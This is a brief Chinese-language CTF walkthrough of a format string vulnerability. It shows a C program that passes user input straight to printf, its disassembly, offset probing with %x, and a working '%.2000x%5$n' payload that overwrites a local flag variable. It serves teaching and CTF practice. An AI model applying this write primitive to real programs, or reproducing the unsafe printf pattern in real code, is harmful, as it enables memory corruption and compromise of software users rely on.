格式化字元串漏洞近幾年出現頻率少了,但是一些 CTF 中還有涉及,就當玩玩好了。
首先看這一段代碼,什麼比賽的題我忘了:
#include <stdio.h>
int main(void)
{
int flag = 0;
int *p = &flag;
char a[100];
scanf("%s",a);
printf(a);
if(flag == 2000)
{
printf("good!!\n");
}
return 0;
}
目标是拿到Flag。我們使用GCC編譯之後用ObjDump反編譯:
8048507: c7 45 88 00 00 00 00 movl $0x0,-0x78(%ebp) ;flag
804850e: 8d 45 88 lea -0x78(%ebp),%eax
8048511: 89 45 8c mov %eax,-0x74(%ebp) ;p
8048514: 83 ec 08 sub $0x8,%esp
8048517: 8d 45 90 lea -0x70(%ebp),%eax ;a
804851a: 50 push %eax
804851b: 68 f0 85 04 08 push $0x80485f0
8048520: e8 bb fe ff ff call 80483e0 <__isoc99_scanf@plt>
8048525: 83 c4 10 add $0x10,%esp
我們可以看到
p
在
flag
下面四個偏移,
a
又在
p
下面四個偏移,用緩沖區溢出是不可能了。下面有個
printf
,也許可以利用字元串格式化漏洞。
繼續往下看彙編:
8048528: 83 ec 0c sub $0xc,%esp
804852b: 8d 45 90 lea -0x70(%ebp),%eax
804852e: 50 push %eax
804852f: e8 5c fe ff ff call 8048390 <printf@plt>
8048534: 83 c4 10 add $0x10,%esp
printf
總共接受了 4 個參數,實際上隻有一個有效參數。
我們可以使用
AAAA%x
來尋找
a
的偏移:
wizard@ubuntu:~/Desktop$ ./t2
AAAA%x
AAAAffee9b78wizard@ubuntu:~/Desktop$ ./t2
AAAA%2$x
AAAAf767e329wizard@ubuntu:~/Desktop$ ./t2
AAAA%4$x
AAAA0wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAfff44cd0wizard@ubuntu:~/Desktop$
AAAA%6$x
AAAA41414141
我們看到了一個 0 ,又看到了一個很像位址的東西。然後就是我們輸入的
AAAA
。我們于是可以斷定,第四個
%x
是
flag
,第五個
%x
p
,第六個
%x
a
的起始位置。
再試一下,發現棧基址是變化的:
wizard@ubuntu:~/Desktop$ ./t2
AAAA%5$x
AAAAffad7a70
也就是說,我們不能把
f
的位址寫進
a
的前四個位元組,但是我們可以利用
p
。構造字元串
"%.2000%x%5$n"
:
ffe43b880wizard@ubuntu:~/Desktop$ ./t2
%.2000x%5$n
...
0000000000000000000000000000000000000ffce9f98good!!
成功。